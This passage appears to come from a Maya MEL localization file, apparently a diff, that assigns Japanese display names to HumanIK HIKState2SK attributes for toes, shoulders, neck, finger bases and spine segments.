+setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseS", "左足指のベース S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseSx", "左足指のベース Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseSy", "左足指のベース Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseSz", "左足指のベース Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBasePGX", "左足指のベースの PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseROrder", "左足指のベースの回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseSC", "左足指のベース SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseIS", "左足指のベース IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseISx", "左足指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseISy", "左足指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseISz", "左足指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBasePreR", "左足指のベースのプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBasePreRx", "左足指のベースのプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBasePreRy", "左足指のベースのプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBasePreRz", "左足指のベースのプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBasePostR", "左足指のベースのポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBasePostRx", "左足指のベースのポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBasePostRy", "左足指のベースのポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBasePostRz", "左足指のベースのポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseT", "右足指のベース T" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseTx", "右足指のベース Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseTy", "右足指のベース Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseTz", "右足指のベース Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseR", "右足指のベース R" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseRx", "右足指のベース Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseRy", "右足指のベース Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseRz", "右足指のベース Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseS", "右足指のベース S" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseSx", "右足指のベース Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseSy", "右足指のベース Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseSz", "右足指のベース Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBasePGX", "右足指のベースの PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseROrder", "右足指のベースの回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseSC", "右足指のベース SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseIS", "右足指のベース IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseISx", "右足指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseISy", "右足指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBaseISz", "右足指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBasePreR", "右足指のベースのプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBasePreRx", "右足指のベースのプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBasePreRy", "右足指のベースのプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBasePreRz", "右足指のベースのプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBasePostR", "右足指のベースのポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBasePostRx", "右足指のベースのポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBasePostRy", "右足指のベースのポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightToeBasePostRz", "右足指のベースのポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderT", "左肩 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderTx", "左肩 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderTy", "左肩 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderTz", "左肩 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderR", "左肩 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderRx", "左肩 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderRy", "左肩 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderRz", "左肩 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderS", "左肩 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderSx", "左肩 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderSy", "左肩 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderSz", "左肩 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderPGX", "左肩の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderROrder", "左肩の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderSC", "左肩 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderIS", "左肩 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderISx", "左肩 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderISy", "左肩 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderISz", "左肩 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderPreR", "左肩のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderPreRx", "左肩のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderPreRy", "左肩のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderPreRz", "左肩のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderPostR", "左肩のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderPostRx", "左肩のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderPostRy", "左肩のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftShoulderPostRz", "左肩のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderT", "右肩 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderTx", "右肩 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderTy", "右肩 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderTz", "右肩 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderR", "右肩 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderRx", "右肩 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderRy", "右肩 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderRz", "右肩 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderS", "右肩 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderSx", "右肩 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderSy", "右肩 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderSz", "右肩 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderPGX", "右肩の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderROrder", "右肩の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderSC", "右肩 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderIS", "右肩 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderISx", "右肩 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderISy", "右肩 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderISz", "右肩 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderPreR", "右肩のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderPreRx", "右肩のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderPreRy", "右肩のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderPreRz", "右肩のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderPostR", "右肩のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderPostRx", "右肩のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderPostRy", "右肩のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightShoulderPostRz", "右肩のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "NeckT", "首 T" ); +setAttrNiceNameResource( "HIKState2SK", "NeckTx", "首 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "NeckTy", "首 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "NeckTz", "首 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "NeckR", "首 R" ); +setAttrNiceNameResource( "HIKState2SK", "NeckRx", "首 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "NeckRy", "首 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "NeckRz", "首 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "NeckS", "首 S" ); +setAttrNiceNameResource( "HIKState2SK", "NeckSx", "首 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "NeckSy", "首 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "NeckSz", "首 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "NeckPGX", "首の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "NeckROrder", "首の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "NeckSC", "首 SC" ); +setAttrNiceNameResource( "HIKState2SK", "NeckIS", "首 IS" ); +setAttrNiceNameResource( "HIKState2SK", "NeckISx", "首 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "NeckISy", "首 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "NeckISz", "首 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "NeckPreR", "首のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "NeckPreRx", "首のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "NeckPreRy", "首のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "NeckPreRz", "首のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "NeckPostR", "首のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "NeckPostRx", "首のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "NeckPostRy", "首のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "NeckPostRz", "首のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseT", "左指のベース T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseTx", "左指のベース Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseTy", "左指のベース Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseTz", "左指のベース Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseR", "左指のベース R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseRx", "左指のベース Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseRy", "左指のベース Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseRz", "左指のベース Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseS", "左指のベース S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseSx", "左指のベース Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseSy", "左指のベース Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseSz", "左指のベース Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBasePGX", "左指のベースの PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseROrder", "左指のベースの回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseSC", "左指のベース SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseIS", "左指のベース IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseISx", "左指のベース ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseISy", "左指のベース ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBaseISz", "左指のベース ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBasePreR", "左指のベースのプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBasePreRx", "左指のベースのプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBasePreRy", "左指のベースのプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBasePreRz", "左指のベースのプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBasePostR", "左指のベースのポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBasePostRx", "左指のベースのポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBasePostRy", "左指のベースのポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFingerBasePostRz", "左指のベースのポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseT", "右指のベース T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseTx", "右指のベース Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseTy", "右指のベース Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseTz", "右指のベース Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseR", "右指のベース R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseRx", "右指のベース Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseRy", "右指のベース Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseRz", "右指のベース Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseS", "右指のベース S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseSx", "右指のベース Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseSy", "右指のベース Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseSz", "右指のベース Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBasePGX", "右指のベースの PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseROrder", "右指のベースの回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseSC", "右指のベース SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseIS", "右指のベース IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseISx", "右指のベース ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseISy", "右指のベース ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBaseISz", "右指のベース ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBasePreR", "右指のベースのプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBasePreRx", "右指のベースのプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBasePreRy", "右指のベースのプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBasePreRz", "右指のベースのプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBasePostR", "右指のベースのポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBasePostRx", "右指のベースのポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBasePostRy", "右指のベースのポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFingerBasePostRz", "右指のベースのポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1T", "脊椎 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1Tx", "脊椎 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1Ty", "脊椎 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1Tz", "脊椎 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1R", "脊椎 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1Rx", "脊椎 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1Ry", "脊椎 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1Rz", "脊椎 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1S", "脊椎 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1Sx", "脊椎 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1Sy", "脊椎 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1Sz", "脊椎 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1PGX", "脊椎 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1ROrder", "脊椎 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1SC", "脊椎 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1IS", "脊椎 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1ISx", "脊椎 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1ISy", "脊椎 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1ISz", "脊椎 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1PreR", "脊椎 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1PreRx", "脊椎 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1PreRy", "脊椎 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1PreRz", "脊椎 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1PostR", "脊椎 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1PostRx", "脊椎 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1PostRy", "脊椎 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine1PostRz", "脊椎 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2T", "脊椎 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2Tx", "脊椎 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2Ty", "脊椎 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2Tz", "脊椎 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2R", "脊椎 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2Rx", "脊椎 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2Ry", "脊椎 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2Rz", "脊椎 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2S", "脊椎 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2Sx", "脊椎 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2Sy", "脊椎 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2Sz", "脊椎 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2PGX", "脊椎 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2ROrder", "脊椎 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2SC", "脊椎 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2IS", "脊椎 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2ISx", "脊椎 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2ISy", "脊椎 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2ISz", "脊椎 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2PreR", "脊椎 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2PreRx", "脊椎 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2PreRy", "脊椎 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2PreRz", "脊椎 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2PostR", "脊椎 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2PostRx", "脊椎 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2PostRy", "脊椎 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine2PostRz", "脊椎 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3T", "脊椎 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3Tx", "脊椎 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3Ty", "脊椎 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3Tz", "脊椎 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3R", "脊椎 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3Rx", "脊椎 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3Ry", "脊椎 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3Rz", "脊椎 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3S", "脊椎 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3Sx", "脊椎 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3Sy", "脊椎 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3Sz", "脊椎 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3PGX", "脊椎 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3ROrder", "脊椎 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3SC", "脊椎 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3IS", "脊椎 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3ISx", "脊椎 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3ISy", "脊椎 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3ISz", "脊椎 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3PreR", "脊椎 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3PreRx", "脊椎 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3PreRy", "脊椎 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3PreRz", "脊椎 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3PostR", "脊椎 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3PostRx", "脊椎 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3PostRy", "脊椎 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine3PostRz", "脊椎 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4T", "脊椎 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4Tx", "脊椎 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4Ty", "脊椎 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4Tz", "脊椎 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4R", "脊椎 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4Rx", "脊椎 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4Ry", "脊椎 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4Rz", "脊椎 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4S", "脊椎 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4Sx", "脊椎 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4Sy", "脊椎 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4Sz", "脊椎 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4PGX", "脊椎 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4ROrder", "脊椎 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4SC", "脊椎 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4IS", "脊椎 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4ISx", "脊椎 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4ISy", "脊椎 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4ISz", "脊椎 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4PreR", "脊椎 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4PreRx", "脊椎 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4PreRy", "脊椎 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4PreRz", "脊椎 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4PostR", "脊椎 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4PostRx", "脊椎 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4PostRy", "脊椎 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine4PostRz", "脊椎 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5T", "脊椎 5 T" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5Tx", "脊椎 5 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5Ty", "脊椎 5 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5Tz", "脊椎 5 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5R", "脊椎 5 R" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5Rx", "脊椎 5 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5Ry", "脊椎 5 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5Rz", "脊椎 5 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5S", "脊椎 5 S" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5Sx", "脊椎 5 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5Sy", "脊椎 5 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5Sz", "脊椎 5 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5PGX", "脊椎 5 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5ROrder", "脊椎 5 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5SC", "脊椎 5 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5IS", "脊椎 5 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5ISx", "脊椎 5 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5ISy", "脊椎 5 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5ISz", "脊椎 5 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5PreR", "脊椎 5 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5PreRx", "脊椎 5 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5PreRy", "脊椎 5 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5PreRz", "脊椎 5 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5PostR", "脊椎 5 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5PostRx", "脊椎 5 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5PostRy", "脊椎 5 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine5PostRz", "脊椎 5 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6T", "脊椎 6 T" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6Tx", "脊椎 6 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6Ty", "脊椎 6 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6Tz", "脊椎 6 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6R", "脊椎 6 R" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6Rx", "脊椎 6 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6Ry", "脊椎 6 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6Rz", "脊椎 6 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6S", "脊椎 6 S" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6Sx", "脊椎 6 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6Sy", "脊椎 6 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6Sz", "脊椎 6 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6PGX", "脊椎 6 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6ROrder", "脊椎 6 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6SC", "脊椎 6 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6IS", "脊椎 6 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6ISx", "脊椎 6 ISx" ); +setAttrNiceNameResource( "HIKState2SK", 